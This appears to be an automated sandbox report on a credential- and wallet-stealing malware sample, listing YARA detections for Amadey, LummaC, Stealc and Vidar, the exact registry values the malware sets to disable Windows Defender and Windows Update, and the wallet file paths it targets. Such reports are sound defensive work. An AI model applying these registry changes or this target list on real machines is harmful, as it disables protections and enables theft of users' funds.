Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C6EA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_6C6EA8DC

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C638390 NSS_GetVersion,

6_2_6C638390

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1804551591.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1803782267.0000000001762000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2679740158.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2679872319.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883449383.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2830596978.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2842380759.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824471510.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2823881110.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2844205318.0000000005A99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.1872745681.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810944593.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dows Defender\MsMpeng.exe
Source: file.exe, file.exe, 00000000.00000003.1872781247.0000000001762000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.0000000001762000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 33.2.C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.6IF65DE3AL7UEH5E4W09DIZ.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.2308287602.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2100193708.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2906938578.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2140947944.0000000000491000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2950501488.0000000000E31000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2031756029.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2119358992.0000000000F41000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 5744, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.b0b9f39429.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.b0b9f39429.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.K7IHXYTNUQJPI2M9UU0ECLE1K.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3015827110.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2750222076.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2901676931.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3019501243.0000000000861000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2852632926.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2709864138.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2857203948.0000000000861000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2142029213.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 3916, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: window-state.json
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.conf.json
Source: file.exe, 00000000.00000003.1786821317.0000000001774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008AF000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 